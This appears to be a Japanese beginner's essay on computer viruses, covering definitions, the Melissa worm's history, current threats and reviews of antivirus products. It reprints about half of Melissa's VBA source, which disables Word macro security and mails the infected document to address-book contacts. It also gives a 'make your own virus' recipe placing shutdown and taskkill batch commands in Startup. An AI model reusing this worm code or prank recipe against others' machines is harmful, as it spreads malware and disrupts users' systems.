1.ウイルスとは - Hayasoft

1.ウイルスとは
ここでいうウイルスとはコンピュータ上で動く、悪意を持ったプログラム全般を
指すことにします。
システム関係の重要なファイルを消去したり、レジストリを書き換えてセキュリ
ティレベルを下げたり、急にコンピュータの電源を切り始めたり。概念そのものが
広いので多くの種類のウイルスが存在します。
さてこのように一口に「ウイルス」といっても様々なわけですが、これからウイ
ルスについて書いていこうと思います。
少しでも造詣を深めるきっかけになれば。ならないとは思いますけども。
参考:経済産業省による定義
第三者のプログラムやデータべースに対して意図的に何らかの被害を及ぼすよう
に作られたプログラムであり、 次の機能を一つ以上有するもの。
(1) 自己伝染機能
自らの機能によって他のプログラムに自らをコピーし又はシステム機能を利用し
て自らを他のシステムにコピーすることにより、 他のシステムに伝染する機能
(2) 潜伏機能
発病するための特定時刻、一定時間、処理回数等の条件を記憶させて、発病する
まで症状を出さない機能
(3) 発病機能
プログラム、データ等のファイルの破壊を行ったり、設計者の意図しない動作を
する等の機能
1
2.ウイルスの出現
世界で最初に多大な被害を出したウイルスは、1999 年に出現した「Melissa」で
あると言われます。
これは Microsoft Office を大いに利用したウイルスで、本体は Word 標準保存形
式の.doc ファイルに含まれるマクロと呼ばれる簡易プログラムです。
活動としては、
① ファイルが開かれるとレジストリを書き換え、Office のセキュリティレベル
を下げる
② Outlook を使用し感染した.doc ファイルを Outlook に保存されている知人の
メールアドレスに送る
といった単純なものですが、これはウイルスを勉強するのに適当な素材であるとい
えます。まあその話は後々するとして。
Melissa の出現後、
「ウイルスブーム」とでもいうような動きが出ます。様々なウ
イルスが開発され、ウイルス作成プログラムなるものまで出てきました。クリスマ
スに音楽を鳴らすようなロマンチックなウイルスから、アメリカの企業のシステム
をダウンさせるようなウイルスまで多種多様のウイルスが出現した時期です。
しかしこれらの共通点として、主に Windows もしくは UNIX 系の OS を狙った
ものであったことがあげられます。特に Windows はその後のユーザー数の伸びも
ありウイルスの標的にされました。現在もされています。逆に Mac などは狙うウイ
ルス作成者がほとんどいないため比較的安全であるといえます。
以降、ここでは Windows におけるウイルスについて話していきます。
3.Melissa 解説
前述の通り、これは Word のマクロです。VBA という言語で書かれています。
このソースコードはネット上にいくらでも落ちているので興味があれば探してみ
てください。はじめからすこしを転載してみます。(なお、アングラ系サイトを回る
際はウイルス感染に注意しましょう。)
2
Melissaソースコード(冒頭のみ)
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString(
"","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security","Level"
)<>""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString(
"","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security","Level"
) = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString(
"", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"
) <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
3
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show
anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(
"", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"
) = "... by Kwyjibo"
End If
・・・
(以下略)
これで全文の半分程度です。
ウイルスという割に意外と少なく感じるでしょうか。
やっていることとしては第一段落でファイルを開き、第二段落でレジストリを操
作して Word のセキュリティレベルを下げています。次の段落では Outlook を開い
て3段落かけて感染ファイルつきのメールを登録されているアドレス50人に送っ
ています。
第六段落では Melissa の攻撃を受けたことをレジストリに記しています。
結構いろいろしてますね。
後半では前に攻撃を受けたことのある PC からはウイルスをばら撒かないように
したり、これまたいろいろなことをしています。
4
これが現在「ワーム」と呼ばれるウイルスの基礎だといわれています。
補足ですが、Word のセキュリティレベルの設定というのは、Melissa を含む有用
無用様々なマクロを使用するかどうか設定することが出来るものです。現在では普
通は「高」に設定されていてそのままではマクロを起動できないようになっていま
す。
4.現在のウイルス
有名どころでは山田ウイルス、Antinny などがあげられます。これは近年 P2P ネ
ットワークを利用したファイル共有ソフトが台頭していることを背景に、そのセキ
ュリティホールを狙ったものです。具体的な活動としてはデスクトップの画像やマ
イドキュメント内のファイルを圧縮して P2P ネットワークに流したりすることが
あげられます。
また TSPY_HARADONG.A というウイルスは涼宮ハルヒの憂鬱という某人気ア
ニメの画像を用いたことで話題を呼んだ破壊活動のみを行う極悪ウイルスでしたが、
トレンドマイクロ社の調査によると感染した PC はなかったようです。
TSPY_HARADONG.A のような破壊活動を行うウイルスやワーム型ウイルスも
依然としてありますが、現在は情報化社会、つまり情報が金になる社会であるため
か情報流出を狙ったウイルスが増えています。かつては快楽犯的な行動であったウ
イルス開発が実際ビジネスになりつつあると言うことでしょうか。
5.君にも作れる!簡単ウイルス!
・・・すいません。ちょっと見出しが調子乗ってました。ごめんなさい。謝りま
す。あ、殴らないでお願いだkあqwせdrftgyふじこlp;
まあ冗談は置いといて、ウイルスです。なんと、ウイルスです。
その前に確認ですが、レジストリが何かはわかりますか?
レジストリとは(WikiPedia より引用)
レジストリ (Registry) は、Windows の基本情報やソフトウェアの拡張情報など
が保存される場所。主に Windows 95 及び Windows NT 以降で用いられる内部
データベースであり、OS やアプリケーションの設定、拡張子の関連付け情報等
がハードディスク内の記憶領域に記録される。
5
つまるところソフト関係の情報を保存するところですね。特定のソフトのセキュ
リティホールなどを攻撃する際はここをいじくることが多いです。
まあしかし一般ユーザーがここを正確にいじることは難しいので、子供だましっ
ぽいものをつくってみましょう。
ここでは「ログインの直後に電源を切り、explorer を終了する」というようなも
のを作ります。
① ログインの直後に電源を切るようにする
ログイン直後に電源が切れたら大変ですよね。
これはバッチファイルを用いると簡単です。
Win32API や VB、C#などにも容易にシャットダウンをする関数は用意されてい
ますが(Win32API だと ExitWindowEx 関数など)、コンパイラ等が別に必要になり
ます。
バッチファイルでシャットダウンするにはテキストエディタを開き、
「shutdown /s /t 0」と入力して「*.bat」という名前で好きなところに保存する
だけです。*には好きな文字列を入れてください。
これを実行すると(ダブルクリック等で実行できます)、メッセージボックスが出
て数十秒後電源が切れます。
これだけではウイルスっぽくないので、スタートアップに登録してみましょう。
スタートボタンから[全てのプログラム]を選択して[スタートアップ]を右クリッ
クし、開く-AllUsers かエクスプローラかエクスプローラ-AllUsers を選択してくだ
さい。
ここに先ほど作ったバッチファイルを置けば完成です。
ログインと同時にバッチファイルが起動され、
シャットダウンが始まるはずです。
なお、これを起動するにはユーザーが管理者権限を持っている必要があります。
また、そのユーザーでログインするとすぐ電源が切れるようになってしまいますの
で、セーフモード等から Administrator でログインして直すといった手間がかかり
ます。
6
一応解説をします。
バッチファイルというのは MS-DOS のコマンドを実行させる一種のプログラム
で、WindowsXP などではコマンドプロンプト、NT などでは DOS プロンプトで実
行されます。
[shutdown /s /t 0]というのはシャットダウンをタイムアウト0秒でしなさいとい
う意味です。/s がシャットダウン、/t 0 がタイムアウト0秒の意味です。これをな
くすと実行後30秒たってシャットダウンが始まります。
②explorerを終了する
タスクマネージャで explorer.exe を終了すればいいだけの話ですが。
同様に[taskkill /im explorer.exe /f]と入れます。exeplorer.exe を強制終了すると
いう意味です。
デスクトップの背景が真っ黒の状態でこれをスタートアップに入れたりするとロ
グイン後画面が急に真っ暗になったような気分です。
タスクマネージャを起動して[ファイル]→[新しいタスクの実行]→[explorer]
で復元可です。
知識ゼロという前提で出来るのはこのようなジョークプログラムの類のみですが、
バックグラウンドで動かしてキー情報を取得するなど、本格的なものは A や B や C
を勉強しないと難しいです。
しかしネット上などでキー情報を取得したりするソフトをオープンソースで公開
しているような人は多くいますので、
それらを参考にするのもいいかもしれません。
6.ウイルス対策ソフトレビュー
ウイルス対策には自衛策しかありません。あやしいサイトは見ない、あやしいソ
フトはダウンロード、インストールをしない、P2P 系ファイル共有ソフトなどはむ
やみに使わない、など。
しかしそれらにも限度がありますので、ウイルス対策ソフトを導入することにな
ります。
7
そこで、全て使ったわけではありませんが大手のものについてレビューを書いて
みます。
① 有料ソフト
国内の有料ウイルス対策ソフトは3強構造になっています。
有料ソフトの強みは「情報の量」
「早さ」
「正確性」です。
ウイルス対策は情報が鍵を握りますから、確実性を求めたいなら有料ソフトがよ
いでしょう。
星の数は評価を表してみました。
・ウイルスバスター・・・TrendMicro 社 ★★★★☆
国内シェア 50%を誇るソフト。情報量や正確性から言えば文句なしの一位。
動作はさほど重くなく、必須メモリは 128MB です。HDD 容量を 250MB とやや
多めに使います。
このタイトルの元ネタでもあります。
価格は更新一年当たり約 4,700 円。
・Norton・・・Symantec 社 ★★☆☆☆
国内シェアは 30%ほどで第二位。ウイルス駆除能力は優れていますが、そこまでの
能力は正直言って必要ありません。
しかし動作が重い重い。
2007 年版に至っては WindowsXPHome/Pro のみの対応で 256MB 以上のメモリを
必要とします。
価格は更新一年当たり約 5,000 円。
・McAFee・・・McAFee 社 ★★★☆☆
国内シェア三位。10%程度です。
動作の軽さは3つのなかでは一番ですが、メモリは 256MB 以上必要です。ネット
から購入します。
対応ブラウザ数などでは弱いですが、Norton 製品のように他の作業への影響が少
ないと言うのは強みです。
価格は更新一年当たり約 4,900~5,800 円。
8
② 無料ソフト
無料ソフトは情報の速さや正確さに若干不安がありますが、最近では使えるソフ
トも増えてきているようです。
Microsoft 社が WINDOWSLiveOneCarePC セーフティというオンラインのウイ
ルスチェックサービスを行っていますが、かなりの時間がかかります。やはり常駐
型のソフトを選んだ方がいいでしょう。
もちろん有料ウイルス対策ソフトの体験版は無料ですが、日数制限があります。
・AVG・・・Grisoft ★★★☆☆
英語ですが動作の軽快さには定評があります。日本語の解説サイトが多くあります
のでインストールなどには困らないでしょう。
有料版と無料版がありますが無料版で十分なので無料版の方を入れてみました。
しかし操作がマニュアルというか、多少調べないと使いづらい部分もあります。や
はり楽という意味では有料ソフトでしょうか。
・avast!・・・ALWILSoftware ★★★☆☆
14 ヶ月ごとにユーザー更新登録が必要です。本来有料ですが非営利目的の個人ユ
ーザーについては無料です。つまり一般の人が使う分には無料。
日本語対応があり、使いやすいです。
64bit 対応で、一応 64bitPC にも使えます。
・ClamWinAntiVirus・・・ ★☆☆☆☆
UNIX 系 OS で使われている「Clam AntiVirus」の Windows 版。全てオープンソ
ースです。
しかし常駐型ではないので、これをインストールしなくても前述の Microsoft 社の
ウイルススキャンサービスで十分です。
ウイルス情報が全てボランティアによっていて、情報の正確性は危ういですが速さ
はピカ一です。結局メインのウイルス対策ソフトとの併用などといった使い方しか
出来ないかとおもいます。
・ActiveVirusShield・・・AOL ★★★★☆
AOL 製の話題のソフト。AOL ユーザーでなくても使えます。
メールアドレスを登録して広告メールを受け取る必要がありますが、機能は十分で、
有料ソフトにもひけを取りません。
広告メールや情報収集を云々というような表現などすこし不安になるような要素
はありますが、無料ソフトの中ではかなりおすすめです。
9
7.おわりに
どうも読んでくれてありがとうございます。
あとがきに書くのもあれなんですけど、これは初心者向けということで。VBA の
解釈とか結構あれげですけど、すいません。専門じゃないということで。
時雨沢さんに影響されてあとがきから読むような人がいたらいいな。
この物語はあれです、みたいなね。
あー、風邪がひどい。
10